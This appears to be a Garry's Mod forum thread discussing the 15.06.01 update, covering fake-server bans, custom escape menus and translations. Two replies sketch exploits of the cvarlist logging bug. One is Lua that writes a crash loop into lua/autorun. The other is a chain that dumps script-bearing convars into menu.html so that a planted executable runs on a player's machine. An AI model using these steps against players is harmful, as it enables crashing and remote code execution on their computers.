• 15.06.01
    19 replies, posted
[url]http://www.garrysmod.com/2015/06/01/15-06-01/[/url]
what measures were taken to combat fake servers, specifically?
[QUOTE=Limed00d;47851995]what measures were taken to combat fake servers, specifically?[/QUOTE] While I'm interested to know as well, it'd probably be better not to make public.
[QUOTE=Limed00d;47851995]what measures were taken to combat fake servers, specifically?[/QUOTE] A hardcoded ban against a specific server abusing an old Source exploit.
[QUOTE=code_gs;47852095]A hardcoded ban against a specific server abusing an old Source exploit.[/QUOTE] Now that is pretty hardcore. Great job garry!
I see a fix for preventing servers from forcing you to a specific resolution but not one for preventing servers from replacing the escape menu with whatever they feel like. Did I miss it or is this not fixed yet?
[QUOTE=Humin;47852473]I see a fix for preventing servers from forcing you to a specific resolution but not one for preventing servers from replacing the escape menu with whatever they feel like. Did I miss it or is this not fixed yet?[/QUOTE] Custom escape menus are a huge part of gamemodes and servers. Just type disconnect in console if it's such an issue
[QUOTE=code_gs;47852636]Custom escape menus are a huge part of gamemodes and servers. Just type disconnect in console if it's such an issue[/QUOTE] I was under the impression that if you override the default esc menu that the console would be disabled
[QUOTE=code_gs;47852636]Custom escape menus are a huge part of gamemodes and servers. Just type disconnect in console if it's such an issue[/QUOTE] Not every keyboard layout works with the Source engine's default console assigned button. Requiring people to edit a file with notepad manually. So disabling that isn't unreasonable, while expecting people to use the console to exit is.
[QUOTE=Van-man;47852996]Not every keyboard layout works with the Source engine's default console assigned button. Requiring people to edit a file with notepad manually. So disabling that isn't unreasonable, while expecting people to use the console to exit is.[/QUOTE] Adding a convar would be a good idea to disable them, but limiting them all together is stupid.
[QUOTE=code_gs;47853199]Adding a convar would be a good idea to disable them, but limiting them all together is stupid.[/QUOTE] When they can be used maliciously and most people don't dick around with game options unless necessary, then it isn't stupid. Since there'll need to be a easy and well known universal way to leave (pressing Escape and then disconnect, surprise surprise)
I wonder what kind of exploit the cvarlist one was... Amazing how even a command that just lists all cvars can be used to exploit something :v:
I assume you could do something like this: [lua] CreateConVar( "cv=_G", 0 ) CreateConVar( "cv.print(\"\")while(true)do", 0 ) CreateConVar( "cv.print(\"\")end", 0 ) [/lua] Then do RunConsoleCommand( "cvarlist cv log lua/autorun/crash.lua" ) and break singleplayer for whoever you run it on.
Guys, I need help. With this update everything fucked up on my server.
[QUOTE=Mr Mactavish;47854058]Guys, I need help. With this update everything fucked up on my server.[/QUOTE] You're going to have to be a bit more precise than that. What is broken?
Why does the TTT translations have a separate line for German? Added Spanish, Russian, Chinese, German and Swedish translations is surely better? Or Garry got something against the Germans?
[QUOTE=kill3r;47854116]Why does the TTT translations have a separate line for German? Added Spanish, Russian, Chinese, German and Swedish translations is surely better? Or Garry got something against the Germans?[/QUOTE] Robotboy and Kilburn just grabbed the commit list from the GitHub; I submitted the first four while the latter was not me since I don't know German
[QUOTE=meharryp;47853559]I assume you could do something like this: [lua] CreateConVar( "cv=_G", 0 ) CreateConVar( "cv.print(\"\")while(true)do", 0 ) CreateConVar( "cv.print(\"\")end", 0 ) [/lua] Then do RunConsoleCommand( "cvarlist cv log lua/autorun/crash.lua" ) and break singleplayer for whoever you run it on.[/QUOTE] Write executable file to data/two.txt with file.Write. Create Convars: [code]"cv1" => "<script>console.log( 'RUNLUA: OpenFolder[[data/one.bat]]' );</script>" "cv2" => "<script>console.log( 'RUNLUA: OpenFolder[[data/two.exe]]' );</script>" "cv3" => "\x1Arename data/two.txt two.exe\x1a"[/code] Dump cv3 to data/two.txt with cvarlist. Dump cv1 to menu/menu.html with cvarlist so that the html/javascript/lua is executed, internally using ShellExecute from the Windows C API and - via one.bat - renaming data/two.txt to data/two.exe (once the menu is reloaded via the "menu_reload" concommand). Dump cv2 to menu/menu.html, so that reloading it with "menu_reload" causes two.exe to be executed.
"timer.Adjust has its 4th argument optional now" Well, whatever you did it isn't working anymore... [url]http://facepunch.com/showthread.php?t=1468658&p=47855301[/url]
Sorry, you need to Log In to post a reply to this thread.